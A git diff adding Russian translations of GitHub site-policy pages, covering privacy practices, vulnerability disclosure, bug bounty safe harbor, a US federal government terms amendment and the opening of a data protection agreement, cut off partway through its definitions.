our websites, as well as to analyze the usage of our websites, in order to offer you a great user experience. Please take a look at our [Privacy Statement](/github/site-policy/github-privacy-statement#our-use-of-cookies-and-tracking) if you’d like more information about cookies, and on how and why we use them. + +You can view the current list of cookies on GitHub, and sign up to receive cookie list updates, at [https://github.com/privacy/cookies](https://github.com/privacy/cookies). + +(!) Please note while we limit our use of third party cookies to those necessary to provide external functionality when rendering external content, certain pages on our website may set other third party cookies. For example, we may embed content, such as videos, from another site that sets a cookie. While we try to minimize these third party cookies, we can’t always control what cookies this third party content sets. diff --git a/translations/ru-RU/content/site-policy/privacy-policies/global-privacy-practices.md b/translations/ru-RU/content/site-policy/privacy-policies/global-privacy-practices.md new file mode 100644 index 000000000000..5dc51bb05243 --- /dev/null +++ b/translations/ru-RU/content/site-policy/privacy-policies/global-privacy-practices.md @@ -0,0 +1,76 @@ +--- +title: Global Privacy Practices +redirect_from: + - /eu-safe-harbor + - /articles/global-privacy-practices + - /github/site-policy/global-privacy-practices +versions: + fpt: '*' +topics: + - Policy + - Legal +--- + +Effective date: July 22, 2020 + +GitHub provides the same high standard of privacy protection—as described in GitHub’s [Privacy Statement](/github/site-policy/github-privacy-statement#githubs-global-privacy-practices)—to all our users and customers around the world, regardless of their country of origin or location, and GitHub is proud of the level of notice, choice, accountability, security, data integrity, access, and recourse we provide. + +GitHub also complies with certain legal frameworks relating to the transfer of data from the European Economic Area, the United Kingdom, and Switzerland (collectively, “EU”) to the United States. When GitHub engages in such transfers, GitHub relies on Standard Contractual Clauses as the legal mechanism to help ensure your rights and protections travel with your personal information. In addition, GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks. To learn more about the European Commission’s decisions on international data transfer, see this article on the [European Commission website](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection_en). + +## Standard Contractual Clauses + +GitHub relies on the European Commission-approved Standard Contractual Clauses (“SCCs”) as a legal mechanism for data transfers from the EU. SCCs are contractual commitments between companies transferring personal data, binding them to protect the privacy and security of such data. GitHub adopted SCCs so that the necessary data flows can be protected when transferred outside the EU to countries which have not been deemed by the European Commission to adequately protect personal data, including protecting data transfers to the United States. + +To learn more about SCCs, see this article on the [European Commission website](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection/standard-contractual-clauses-scc_en). + +## Privacy Shield Framework + +GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks and the commitments they entail, although GitHub does not rely on the EU-US Privacy Shield Framework as a legal basis for transfers of personal information in light of the judgment of the Court of Justice of the EU in Case C-311/18. + +The EU-US and Swiss-US Privacy Shield Frameworks are set forth by the US Department of Commerce regarding the collection, use, and retention of personal information transferred from the European Union, the UK, and Switzerland to the United States. GitHub has certified to the Department of Commerce that it adheres to the Privacy Shield Principles. If our vendors or affiliates process personal information on our behalf in a manner inconsistent with the principles of either Privacy Shield Framework, GitHub remains liable unless we prove we are not responsible for the event giving rise to the damage. + +For purposes of our certifications under the Privacy Shield Frameworks, if there is any conflict between the terms in these Global Privacy Practices and the Privacy Shield Principles, the Privacy Shield Principles shall govern. To learn more about the Privacy Shield program, and to view our certification, visit the [Privacy Shield website](https://www.privacyshield.gov/). + +The Privacy Shield Frameworks are based on seven principles, and GitHub adheres to them in the following ways: + +- **Notice** + - We let you know when we're collecting your personal information. + - We let you know, in our [Privacy Statement](/articles/github-privacy-statement/), what purposes we have for collecting and using your information, who we share that information with and under what restrictions, and what access you have to your data. + - We let you know that we're participating in the Privacy Shield framework, and what that means to you. + - We have a {% data variables.contact.contact_privacy %} where you can contact us with questions about your privacy. + - We let you know about your right to invoke binding arbitration, provided at no cost to you, in the unlikely event of a dispute. + - We let you know that we are subject to the jurisdiction of the Federal Trade Commission. +- **Choice** + - We let you choose what happens to your data. Before we use your data for a purpose other than the one for which you gave it to us, we will let you know and get your permission. + - We will provide you with reasonable mechanisms to make your choices. +- **Accountability for Onward Transfer** + - When we transfer your information to third party vendors that are processing it on our behalf, we are only sending your data to third parties, under contract with us, that will safeguard it consistently with our Privacy Statement. When we transfer your data to our vendors under Privacy Shield, we remain responsible for it. + - We share only the amount of data with our third party vendors as is necessary to complete their transaction. +- **Security** + - We will protect your personal information with [all reasonable and appropriate security measures](https://github.com/security). +- **Data Integrity and Purpose Limitation** + - We only collect your data for the purposes relevant for providing our services to you. + - We collect as little information about you as we can, unless you choose to give us more. + - We take reasonable steps to ensure that the data we have about you is accurate, current, and reliable for its intended use. +- **Access** + - You are always able to access the data we have about you in your [user profile](https://github.com/settings/profile). You may access, update, alter, or delete your information there. +- **Recourse, Enforcement and Liability** + - If you have questions about our privacy practices, you can reach us with our {% data variables.contact.contact_privacy %} and we will respond within 45 days at the latest. + - In the unlikely event of a dispute that we cannot resolve, you have access to binding arbitration at no cost to you. Please see our [Privacy Statement](/articles/github-privacy-statement/) for more information. + - We will conduct regular audits of our relevant privacy practices to verify compliance with the promises we have made. + - We require our employees to respect our privacy promises, and violation of our privacy policies is subject to disciplinary action up to and including termination of employment. + + +### Dispute resolution process + +As further explained in the [Resolving Complaints](/github/site-policy/github-privacy-statement#resolving-complaints) section of our [Privacy Statement](/github/site-policy/github-privacy-statement), we encourage you to contact us should you have a Privacy Shield-related (or general privacy-related) complaint. For any complaints that cannot be resolved with GitHub directly, we have selected to cooperate with the relevant EU Data Protection Authority, or a panel established by the European data protection authorities, for resolving disputes with EU individuals, and with the Swiss Federal Data Protection and Information Commissioner (FDPIC) for resolving disputes with Swiss individuals. Please contact us if you’d like us to direct you to your data protection authority contacts. + +Additionally, if you are a resident of an EU member state, you have the right to file a complaint with your local supervisory authority. + +### Independent arbitration + +Under certain limited circumstances, EU, European Economic Area (EEA), Swiss, and UK individuals may invoke binding Privacy Shield arbitration as a last resort if all other forms of dispute resolution have been unsuccessful. To learn more about this method of resolution and its availability to you, please read more about [Privacy Shield](https://www.privacyshield.gov/article?id=ANNEX-I-introduction). Arbitration is not mandatory; it is a tool you can use if you so choose. + +We are subject to the jurisdiction of the US Federal Trade Commission (FTC). + +Please see our [Privacy Statement](/articles/github-privacy-statement/) for more information. diff --git a/translations/ru-RU/content/site-policy/privacy-policies/index.md b/translations/ru-RU/content/site-policy/privacy-policies/index.md new file mode 100644 index 000000000000..044e01d107b2 --- /dev/null +++ b/translations/ru-RU/content/site-policy/privacy-policies/index.md @@ -0,0 +1,21 @@ +--- +title: Политики конфиденциальности +versions: + fpt: '*' +topics: + - Policy + - Legal +children: + - /github-privacy-statement + - /global-privacy-practices + - /github-subprocessors-and-cookies + - /github-codespaces-privacy-statement + - /github-candidate-privacy-policy +ms.openlocfilehash: 4c10c47e44eca61e42528fef7c90d010fd8196f0 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099153' +--- + diff --git a/translations/ru-RU/content/site-policy/security-policies/coordinated-disclosure-of-security-vulnerabilities.md b/translations/ru-RU/content/site-policy/security-policies/coordinated-disclosure-of-security-vulnerabilities.md new file mode 100644 index 000000000000..43f4483e0bfc --- /dev/null +++ b/translations/ru-RU/content/site-policy/security-policies/coordinated-disclosure-of-security-vulnerabilities.md @@ -0,0 +1,27 @@ +--- +title: Скоординированное раскрытие уязвимостей безопасности +redirect_from: + - /responsible-disclosure + - /coordinated-disclosure + - /articles/responsible-disclosure-of-security-vulnerabilities + - /github/site-policy/responsible-disclosure-of-security-vulnerabilities + - /github/site-policy/coordinated-disclosure-of-security-vulnerabilities +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 683d537689865a557cf9b52315341bb10be82bfc +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556820' +--- +Мы хотим, чтобы GitHub был безопасным для всех. Если вы обнаружили уязвимость безопасности в GitHub, мы будем признательны за вашу помощь в скоординированном раскрытии ее нам. + +## Бонусная программа + +Как и некоторые другие крупные компании-разработчики программного обеспечения, GitHub предоставляет вознаграждение за обнаружение ошибок, чтобы лучше взаимодействовать с исследователями безопасности. Идея проста: хакеры и исследователи безопасности (такие как вы) находят уязвимости и сообщают об уязвимостях в рамках нашего скоординированного процесса раскрытия информации. Затем, чтобы воздать должное тем значительным усилиям, которые эти исследователи часто прилагают при поиске ошибок, мы вознаграждаем их в денежной форме. + +Смотрите сайт [Награда за обнаружение ошибок на GitHub](https://bounty.github.com) для получения подробной информации о наградах, также ознакомьтесь с нашими всеобъемлющими условиями [Правовая политика безопасной гавани](/articles/github-bug-bounty-program-legal-safe-harbor), и удачной вам охоты! diff --git a/translations/ru-RU/content/site-policy/security-policies/github-bug-bounty-program-legal-safe-harbor.md b/translations/ru-RU/content/site-policy/security-policies/github-bug-bounty-program-legal-safe-harbor.md new file mode 100644 index 000000000000..f4676399cd91 --- /dev/null +++ b/translations/ru-RU/content/site-policy/security-policies/github-bug-bounty-program-legal-safe-harbor.md @@ -0,0 +1,42 @@ +--- +title: Программа вознаграждения за обнаружение ошибок и безопасная гавань GitHub +redirect_from: + - /articles/github-bug-bounty-program-legal-safe-harbor +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: e44ea086e183f7d7f6577876ce6aa3b76fd47152 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556727' +--- +## Сводная информация +1. Мы хотим, чтобы вы координировали раскрытие информации в рамках нашей программы вознаграждения за обнаружение ошибок, и не хотим, чтобы исследователи боялись юридических последствий из-за их добросовестных попыток соблюдать нашу политику вознаграждения за обнаружение ошибок. Мы не можем связывать никакое третье лицо, поэтому не предполагайте, что эта защита распространяется на какое-либо третье лицо. Если вы сомневаетесь, спросите нас, прежде чем предпринимать какие-либо конкретные действия, которые, по вашему мнению, _могут_ выйти за рамки нашей политики. +2. Поскольку как идентифицирующая, так и неидентифицирующая информация может подвергнуть исследователя риску, мы ограничиваем то, чем мы делимся с третьими лицами. Мы можем предоставить неидентифицирующую существенную информацию из вашего отчета затронутому третьему лицу, но только после уведомления вас и получения обязательства о том, что третье лицо не будет возбуждать против вас судебные иски. Мы будем передавать идентифицирующую информацию (имя, адрес электронной почты, номер телефона и т. д.) третьему лицу только в том случае, если вы дадите свое письменное разрешение. +3. Если ваше исследование безопасности в рамках программы вознаграждения за обнаружение ошибок нарушает определенные ограничения в политике нашего сайта, условия безопасной гавани допускают ограниченное исключение. + +## 1. Условия безопасной гавани + +В целях поощрения исследований и скоординированного раскрытия уязвимостей безопасности мы не будем возбуждать гражданские или уголовные дела и не будем уведомлять правоохранительные органы о случайных или добросовестных нарушениях этой политики. Мы считаем, что исследования безопасности и действия по раскрытию уязвимостей, проводимые в соответствии с этой политикой, являются «санкционированными» действиями в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях, DMCA и другими применимыми законами об использовании компьютеров, такими как Уголовный кодекс Калифорнии 502 (с). Мы отказываемся от любых потенциальных претензий DMCA против вас за обход технических мер, которые мы использовали для защиты приложений в рамках этой программы вознаграждения за обнаружение ошибок. + +Просим понять, что если ваше исследование безопасности связано с сетями, системами, информацией, приложениями, продуктами или услугами третьего лица (которым мы не являемся), мы не можем связывать это третье лицо, и оно может подать в суд или уведомить правоохранительные органы. Мы не можем и не санкционируем проведение исследований в области безопасности от имени других лиц и никоим образом не можем предлагать защиту, возмещение ущерба или иную защиту вас от любых действий третьих лиц, основанных на ваших действиях. + +Ожидается, что вы, как всегда, будете соблюдать все законы, применимые к вам, а также не будете нарушать и компрометировать какие-либо данные сверх того, что разрешено этой программой вознаграждения за обнаружение ошибок. + +Пожалуйста, свяжитесь с нами, прежде чем участвовать в действиях, которые могут быть несовместимы с этой политикой или не учитываться в ней. Мы оставляем за собой исключительное право определять, является ли нарушение этой политики случайным или добросовестным, и упреждающий контакт с нами до совершения каких-либо действий является важным фактором при принятии такого решения. Если вы сомневаетесь, сначала спросите нас! + +## 2. Безопасная гавань третьего лица + +Если вы отправите отчет через нашу программу вознаграждения за обнаружение ошибок, который затрагивает стороннюю службу, мы ограничим то, чем мы делимся с любым затронутым третьим лицом. Мы можем поделиться неидентифицирующим контентом из вашего отчета с затронутым третьим лицом, но только после того, как уведомим вас о том, что мы намерены сделать это, и получим письменное обязательство третьего лица о том, что оно не будет возбуждать против вас судебные иски или связываться с правоохранительными органами на основании вашего отчета. Мы не будем передавать вашу идентифицирующую информацию какому-либо затронутому третьему лицу без предварительного получения вашего письменного разрешения на это. + +Обратите внимание, что мы не можем санкционировать стороннее тестирование от имени третьих лиц, и такое тестирование выходит за рамки нашей политики. Обратитесь к политике вознаграждения за обнаружение ошибок этого третьего лица, если она есть, или свяжитесь с третьим лицом напрямую или через законного представителя, прежде чем начинать какое-либо тестирование этого третьего лица или его услуг. Это не является и не должно пониматься как какое-либо соглашение с нашей стороны защищать, возмещать ущерб или иным образом ограждать вас от любых действий третьих лиц, основанных на ваших действиях. + +Тем не менее если судебный иск инициирован третьим лицом, включая правоохранительные органы, против вас из-за вашего участия в этой программе вознаграждения за обнаружение ошибок, и вы в достаточной мере соблюдаете нашу политику вознаграждения за обнаружение ошибок (т. е. не допустили преднамеренных или недобросовестных нарушений), мы предпримем шаги, чтобы сообщить, что ваши действия были совершены в соответствии с этой политикой. Хотя мы считаем представленные отчеты конфиденциальными и потенциально конфиденциальными документами, защищенными от принудительного раскрытия в большинстве случаев, имейте в виду, что суд может, несмотря на наши возражения, потребовать от нас предоставить информацию третьему лицу. + +## 3. Ограниченный отказ от других политик сайта + +В той мере, в какой ваша деятельность по исследованию безопасности не соответствует определенным ограничениям в наших [соответствующих политиках сайта](/categories/site-policy/), и в соответствии с условиями нашей программы вознаграждения за обнаружение ошибок мы отказываемся от этих ограничений с единственной и ограниченной целью разрешить вам исследование безопасности в рамках этой программы вознаграждения за обнаружение ошибок. Как сказано выше, если есть сомнения, сначала спросите нас! diff --git a/translations/ru-RU/content/site-policy/security-policies/index.md b/translations/ru-RU/content/site-policy/security-policies/index.md new file mode 100644 index 000000000000..7f229b82418d --- /dev/null +++ b/translations/ru-RU/content/site-policy/security-policies/index.md @@ -0,0 +1,18 @@ +--- +title: Политики безопасности +versions: + fpt: '*' +topics: + - Policy + - Legal +children: + - /coordinated-disclosure-of-security-vulnerabilities + - /github-bug-bounty-program-legal-safe-harbor +ms.openlocfilehash: 8aedcd1293c6367ec2edf748e5a80e4e6e17a56a +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556828' +--- + diff --git a/translations/ru-RU/content/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users.md b/translations/ru-RU/content/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users.md new file mode 100644 index 000000000000..3bbe075f9098 --- /dev/null +++ b/translations/ru-RU/content/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users.md @@ -0,0 +1,76 @@ +--- +title: Поправка к Условиям предоставления услуг GitHub для пользователей из числа федеральных органов власти США +hidden: true +redirect_from: + - /articles/amendment-to-github-terms-of-service-applicable-to-government-users + - /articles/proposed-amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users + - /articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users + - /articles/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users + - /github/site-policy/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users + - /github/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users +versions: + fpt: '*' +ms.openlocfilehash: 12a1b06a16157e7cf0e5ff8f32a20e6c9201cf8c +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099287' +--- +_Эти условия действуют для клиентов, которые лицензировали продукты до 4 января 2021 г. Для клиентов, приобретающих продукты GitHub после этой даты, действуют текущие условия https://www.github.com/enterprise-legal._ + +{% tip %} + +Эта Поправка к [Условиям предоставления услуг](/articles/github-terms-of-service) GitHub применяется только для пользователей, которые используют GitHub от имени федерального правительства США. Если вы не используете GitHub от имени федерального правительства США, в отношении вас действуют стандартные [Условия предоставления услуг GitHub](/articles/github-terms-of-service). + +{% endtip %} + +Эта Поправка представляет собой соглашение между GitHub Inc. (GitHub, или "Компания") и пользователями веб-сайта GitHub.com из числа федерального правительства США ("Сервис") и действует исключительно в отношении федеральных органов власти США и пользователей, которые используют Сервис или осуществляют доступ к нему от имени федерального правительства США ("Правительство"). + +Правительственные организации США должны при заключении соглашений с другими сторонами соблюдать действующие федеральные законы и нормативные требования, в том числе кодекс этики, законы о конфиденциальности и безопасности, доступности, хранении данных, ограничении суммы возмещения; ограничения финансового законодательства, законов о рекламе и индоссировании, свободе информации, а также регулирующее законодательство и законы о разрешении споров. + +GitHub и вы (совместно именуемые "Стороны") соглашаетесь с тем, что изменения [Условий предоставления услуг GitHub](/articles/github-terms-of-service) соответствуют вашему юридическому статусу, публичной миссии (в отличие от частной) и учитывают другие особые обстоятельства. Соответственно, настоящим Условия предоставления услуг соответствующим образом изменяются этой Поправкой, поскольку они относятся к использованию веб-сайта и служб Компании Правительством. + +## A. Публичная цель + +1. *Правительственная организация* ("вы" в рамках Условий предоставления услуг) означает непосредственно Правительство и не является юридически обязывающим в отношении конкретных физических лиц, которые используют сайт или службы Компании от имени Правительства. Компания оценивает нарушения Условий предоставления услуг такими физическими лицами с точки зрения федерального законодательства, относя такие нарушения исключительно на счет Правительства. + +2. *Рекламные объявления*. Компания настоящим соглашается не обслуживать и не отображать какие-либо сторонние коммерческие рекламные объявления или предложения о размещении рекламы на любых страницах сайта Компании, где отображается контент, созданный Правительством или под его контролем. Это исключение не распространяется на собственную рекламу Компании, которую Компания может ненавязчиво размещать на таких страницах. Указанные выше обязательства зависят от адреса электронной почты, указанного на странице сведений о вашей учетной записи, который оканчивается на `.gov`, `.mil` или `.fed.us`. + +## Б. Ваш контент на GitHub + +1. *Доступ и использование*. Компания подтверждает, что использование Правительством Сервиса может способствовать активной вовлеченности граждан. Формулировки в Условиях предоставления услуг, которые предусматривают право Компании в любое время и по любой причине прекратить обслуживание, отклонить или удалить любой Контент или закрыть учетную запись Правительственной организации, изменены с учетом соглашения Сторон о том, что Компания вправе в одностороннем порядке изменить или прекратить предоставление службы, временно или постоянно, отклонить или удалить любой Контент и (или) прекратить действие учетной записи Правительственной организации только в случае нарушения такой организацией своих обязательств в рамках Условий предоставления услуг или существенного несоблюдения инструкций, опубликованных в Сервисе, либо если Компания прекращает предоставление Сервиса в целом. Компания предоставит Правительственной организации разумную возможность устранить любое нарушение или неисполнение обязательств со стороны Правительственной организации. + +2. *Без индоссирования*. Компания соглашается с тем, что ваши печати, товарные знаки, логотипы, сервисные знаки, торговые наименования и тот факт, что вы представлены на веб-сайте компании и используете ее услуги, не должны использоваться Компанией для прямого или опосредованного указания на то, что продукты и услуги Компании индоссируются, спонсируются или рекомендованы вами или иными организациями в рамках федерального правительства либо что такие организации считают, что качество этих продуктов и услуг превосходит качество других продуктов и услуг. За исключением страниц, дизайн и содержимое которых находится под контролем Правительственной организации, а также ссылок или рекламных объявлений, ведущих на такие страницы, Компания обязуется не отображать печати и логотипы правительственных организации на главной странице или других страницах своего сайта, если на это не получено прямое разрешение Правительственной организации или иного полномочного органа государственной власти. Компания вправе указать название Правительственной организации в общедоступном списке клиентов, если такое название специально не выделено в этом списке по сравнению с другими. + +3. *Предоставление данных*. В случае прекращения обслуживания в течение 30 дней после такого прекращения Компания предоставит вам весь контент, созданный пользователем, который отображается публично посредством Сайтов, созданных вами на ресурсах Компании. Данные предоставляются в файле стандартного формата или в формате базы данных (по усмотрению Компании). Компания не предоставляет данные, если это нарушает политику конфиденциальности, доступную на веб-сайте [https://docs.github.com/privacy](/privacy). + +## В. Бесплатные и платные планы + +1. *Отсутствие соглашения о стоимости*. Никакие положения этой Поправки или Условий предоставления услуг не обязывают вас тратить ассигнованные средства или нести финансовые обязательства. Стороны признают и соглашаются с тем, что никакие обязательства, вытекающие из этой Поправки или Условий предоставления услуг, не зависят от выплаты комиссий одной Стороной другой Стороне. GitHub вправе по своему усмотрению предлагать бесплатную учетную запись в рамках бесплатного плана использования, например бесплатный план для продуктов с открытым кодом, и в этом случае данная Поправка применяется к использованию Правительственной организацией в рамках бесплатной учетной записи/бесплатного плана. Данная Поправка также применяется в том случае, если Правительственная организация использует один из платных планов использования GitHub. + +2. *Обязательства Правительственной организации в рамках платных планов использования*. Вы подтверждаете, что, хотя Компания предоставляет вам услуги в рамках бесплатного плана, Компания также оставляет за собой право в будущем начать взимать плату за эту услугу. Компания обязуется направить вам предварительное уведомление об изменении, включая начало платного использования ранее бесплатной услуги, не меньше чем за 30 дней. Вы также признаете, что Компания предлагает платные планы за плату. Стороны соглашаются с тем, что платные услуги принципиально отличаются от бесплатных продуктов и регулируются федеральными правилами по закупкам и соответствующими процедурами. Перед тем как Правительственная организация решит оформить подписку бизнес-уровня или корпоративного уровня либо приобрести иные платные услуги, которые могут предлагаться Компанией или другими поставщиками сегодня или в будущем, вы обязуетесь: определять, что Правительственной организации требуются дополнительные платные услуги; оценивать ценность подписки в сравнении с сопоставимыми услугами, которые предлагаются сторонними поставщиками; определять, что средства Правительственной организации доступны для оплаты; надлежащим образом использовать Карту покупок правительственной организации, если такая Карта используется как способ оплаты; проверять соответствие актуальных на данный момент Условий предоставления услуг федеральному законодательству о закупках, правилам и инструкциям (включая инструкции по обработке платежей) при выполнении такого действия. + +3. *Отсутствие бизнес-отношений*. Стороны не являются независимыми лицами, и никакие положения этой Поправки или Условий предоставления услуг не являются основанием для создания агентских, партнерских отношений, совместного предприятия или отношений между работодателем и сотрудником. + +## Г. Федеральные правила + +1. *Безопасность*. Компания обязуется добросовестно проводить проверку благонадежности, используя общепринятую бизнес-практику для обеспечения ИТ-безопасности, чтобы обеспечить безопасность систем и их безопасное обслуживание, а также обязуется гарантировать применение инструментов управления, операционных и технических средств контроля для обеспечения безопасности систем и данных. Учитывая изменяющуюся природу Интернета, Компания обязуется постоянно работать с пользователями, чтобы гарантировать безопасную работу и обслуживание своих продуктов и услуг. Компания соглашается обсудить применение дополнительных средств контроля безопасности, использование которых Правительственная организация признает необходимым для соблюдения Федерального закона об управлении информационной безопасностью (FISMA), 44-й Свод законов США (U.S.C.), 3541 и след. + +2. *Федеральные документы*. Правительственная организация признает, что для использования сайта и услуг Компании может потребоваться управление Федеральными документами. Контент, созданный Правительственной организацией и пользователем, может соответствовать определению Федеральных документов, которое приведено агентством. Если Компания хранит Федеральные документы, Правительственная организация и Компания должны управлять такими Федеральными документами в соответствии со всеми действующими законами и правилами управления документацией, включая Федеральный закон о документации (44-й Свод законов США (U.S.C.), главы 21, 29, 31, 33) и нормативные акты Национального управления архивов и документации (NARA) (36-й Свод федеральных управлений (CFR), глава XII, раздел B). Управление документами включает в себя также безопасное хранение, получение и надлежащее размещение всех Федеральных документов, включая передачу ценных документов в NARA в таком формате и таким способом, которые являются приемлемыми для NARA на момент передачи. Правительственная организация отвечает за обеспечение соблюдения Компанией действующих законов и нормативных актов об управлении документами на протяжении всего срока действия и после прекращения действия Соглашения. + +## Д. Общие условия + +1. *Возмещение*. Все положения Условий предоставления услуг, относящиеся к возмещению, компенсации ущерба, уплате адвокатского гонорара и платежей по урегулированию расчетов, настоящим отклоняются. Ответственность Правительственной организации за все нарушения Условий предоставления услуг или положений настоящего Соглашения или ответственность по любым претензиям, требованиям, искам и разбирательствам, вытекающим из Условий предоставления услуг или настоящего Соглашения, определяется в соответствии с Законам о деликтных требованиях к федеральным органам власти. Ответственность Компании за все нарушения Условий предоставления услуг или положений настоящего Соглашения или ответственность по любым претензиям, требованиям, искам и разбирательствам, вытекающим из Условий предоставления услуг или настоящего Соглашения, определяется действующим федеральным законодательством или законодательством штата. + +2. *Ограничение ответственности*. Стороны соглашаются с тем, что ни одно из положений об ограничении ответственности или положений Условий предоставления услуг ни при каких обстоятельствах не дает Компании права отказаться от ответственности, не освобождает ее от обязательств и не ограничивает ответственность в отношении текущих, предшествующих и будущих нарушений федерального законодательства. + +3. *Регулирующее законодательство и место урегулирования споров*. Положение о разрешении споров в Условиях предоставления услуг настоящим удаляется. Условия предоставления услуг и данная Поправка регулируются, интерпретируются и применяются в соответствии с действующими федеральными законами США, при этом исключительную юрисдикцию имеют соответствующие федеральные суды США. Если это разрешено федеральным законодательством, в отсутствие федерального закона применяется законодательство штата Калифорния. + +4. *Передача и переуступка прав* — ни одна из сторон не вправе переуступать свои обязательства, предусмотренные этой Поправкой или Условиями предоставления услуг, третьим лицам без предварительного письменного согласия другой Стороны; однако GitHub вправе без согласия Правительственной организации передать свои обязательства перед любой Правительственной организации, которая использует сервис в рамках бесплатного плана использования в соответствии с этой Поправкой или Условиями предоставления услуг, своему аффилированному лицу, правопреемнику или приобретателю в связи со слиянием, приобретением, корпоративной реорганизацией или консолидацией, или продажей всех активов GitHub или их существенной части. + +## Е. Внесение изменений в настоящее соглашение + +1. *Приоритет; дополнительные поправки; прекращение*. Эта Поправка представляет собой поправку к Условиям предоставления услуг; формулировки в Условиях предоставления услуг, указывающие на невозможность изменения или на то, что такие условия являются полным и исчерпывающим соглашением между Сторонами, не используются. В случае конфликта между этой Поправкой и Условиями предоставления или иными правилами и политиками, регулирующими сайт или услуги Компании, текст этой Поправки имеет преимущественную силу. Данная Поправка может быть изменена только после письменного согласования обеими Сторонами. Правительственная организация в любое время вправе закрыть свой счет и расторгнуть это соглашение. Компания вправе закрыть учетную запись Правительственной организации и расторгнуть это соглашение, направив письменное уведомление за 30 дней, однако Правительственная организация не вправе получить возмещение уплаченных комиссий. + +2. *Публикация и доступность этой Поправки*. Стороны соглашаются с тем, что эта Поправка не содержит конфиденциальной или секретной информации и любая из сторон вправе разглашать ее в общественном пространстве. diff --git a/translations/ru-RU/content/site-policy/site-policy-deprecated/github-ae-data-protection-agreement.md b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-ae-data-protection-agreement.md new file mode 100644 index 000000000000..fca77cc3948a --- /dev/null +++ b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-ae-data-protection-agreement.md @@ -0,0 +1,407 @@ +--- +title: Соглашение о защите данных GitHub AE +hidden: true +versions: + fpt: '*' +redirect_from: + - /github/site-policy/ghem-data-protection-addendum + - /github/site-policy/github-ae-data-protection-agreement + - /github/site-policy-deprecated/github-ae-data-protection-agreement +ms.openlocfilehash: 0bfe699e6993892d1eb86aafdb581e942c44a7b1 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099296' +--- +_Эти условия действуют для клиентов, которые лицензировали продукты до 4 января 2021 г. Для клиентов, приобретающих продукты GitHub после этой даты, действуют https://www.github.com/enterprise-legal текущие условия._ + +## Введение + +Стороны соглашаются с тем, что Соглашение о защите данных GitHub AE и Приложение о безопасности (совместно именуемые «**Соглашение о защите данных**” или “**DPA**»), определяет обязательства в отношении обработки и защиты Персональных данных клиента, относящихся к GitHub AE («**Веб-служба**»). GitHub принимает на себя обязательства, определенные в этом DPA, перед всеми клиентами, использующим Веб-службу. + +В случае какого-либо несоответствия между положениями DPA и любыми другими условиями Клиентского соглашения GitHub ("Соглашение"), положения DPA имеют преимущественную силу. Во избежание двусмысленного толкования: в соответствии с пунктом 10 Стандартных договорных положений, приведенных в Приложении 1, Стандартные договорные положения имеют преимущественную силу в сравнении с любыми иными положениями DPA. + +## СОГЛАШЕНИЕ О ЗАЩИТЕ ДАННЫХ GITHUB + +### 1. Определения. + +1.1 «**Действующие законы о защите данных**» означает отдельные законы, постановления, нормативно-правовые акты или другие законодательные акты, касающиеся обработки и использования Персональных данных клиента, применимые к использованию Клиентом Веб-служб, в том числе: + + а. Общий регламент ЕС по защите данных 2016/679 («**GDPR**»), а также любые имплементирующие или соответствующие эквивалентные национальные законы или правила; а также + + b. Калифорнийский закон о конфиденциальности потребителей от 2018 г., Гражданский кодекс Калифорнии, § 1798.100 и следующие («**CCPA**»). + +1.2 Термины «**Контроллер данных**», «**Субъект данных**», «**Страна-участница**», «**Персональные данные**», «**Нарушение правил защиты персональных данных**», «**Обработка**», «**Обработчик**» и «**Надзорный орган**» имеют те значения, которые определены в Действующих законах о защите данных. В случае противоречий преимущественную силу имеют значения, определенные в GDPR. + +1.3 Термин «**Персональные данные клиенты**» означает все Персональные данные, в отношении которых Клиент является Контроллером данных, предоставляемых Клиентов для обработки GitHub или созданные GitHub во время выполнения своих обязательств в рамках настоящего Соглашения. Он включает такие данные, как сведения о выставлении счетов, IP-адреса, корпоративные адреса электронной почты и все остальные Персональные данные, в отношении которых клиент является Контроллером. + +1.4 Термин «**Данные репозитория клиента**» обозначает все данные или информацию, отправленные или созданные Клиентов в любом из Частных репозиториев. + +1.5 Термин «**Нарушение правил защиты данных**» означает Нарушение правил защиты персональных данных или иные подтвержденные или предполагаемые факты нарушения правил работы с Защищенными данными клиента. + +1.6 «**Законная коммерческая деятельность GitHub**» включает следующие действия, каждое из которых представляет собой факт доставки Службы Клиенту: (1) внутренняя отчетность и создание бизнес-моделей; (2) борьба с мошенничеством, киберпреступностью и кибератаками, которые могут затрагивать GitHub; (3) улучшение основных функций доступности или конфиденциальности, а также (4) финансовая отчетность и соблюдение требований 